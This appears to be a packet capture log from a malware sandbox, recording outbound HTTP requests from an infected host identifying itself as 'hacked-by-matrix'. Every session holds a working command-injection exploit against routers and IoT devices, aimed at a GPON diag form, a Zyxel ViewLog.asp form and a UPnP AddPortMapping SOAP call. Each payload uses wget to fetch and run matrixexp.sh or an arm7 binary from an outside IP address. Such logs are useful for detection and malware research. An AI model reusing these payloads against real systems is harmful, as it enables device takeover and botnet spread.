Mar 21, 2024 05:26:25.252343893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
989	192.168.2.23	44942	210.162.226.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252345085 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
990	192.168.2.23	46776	42.187.121.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252367973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
991	192.168.2.23	36250	118.153.170.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252402067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
992	192.168.2.23	46782	212.81.122.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252407074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
993	192.168.2.23	51770	212.132.29.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252429008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
994	192.168.2.23	43846	5.200.219.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252429008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
995	192.168.2.23	41622	94.215.57.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252463102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
996	192.168.2.23	52772	37.155.120.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252711058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
997	192.168.2.23	41892	5.162.2.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252711058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
998	192.168.2.23	53300	109.61.52.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252727032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
999	192.168.2.23	35424	213.213.222.42	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.289764881 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:25.495201111 CET	100	IN	HTTP/1.1 404 Unsupported url Date: Thu, 21 Mar 2024 04:26:25 GMT Content-Length: 0
Mar 21, 2024 05:26:25.495212078 CET	59	IN	HTTP/1.1 400 Bad Request Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1000	192.168.2.23	49828	86.57.155.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.319153070 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:25.529232979 CET	175	IN	HTTP/1.1 400 Bad Request Server: AR Date: thu, 21 mar 2024 07:26:25 GMT Pragma: no-cache Cache-Control: no-store Content-Length: 11 Connection: Keep-Alive Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
1001	192.168.2.23	60902	213.243.55.30	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.346493006 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1002	192.168.2.23	52720	172.65.25.139	5555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.674144030 CET	893	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1003	192.168.2.23	47966	107.163.232.168	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:26.066054106 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:26.579499960 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:26.738765001 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:26:26 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1004	192.168.2.23	57532	176.236.131.138	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:26.121862888 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:26.354574919 CET	1280	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 6840 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 2f 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 2e 38 35 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 70 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 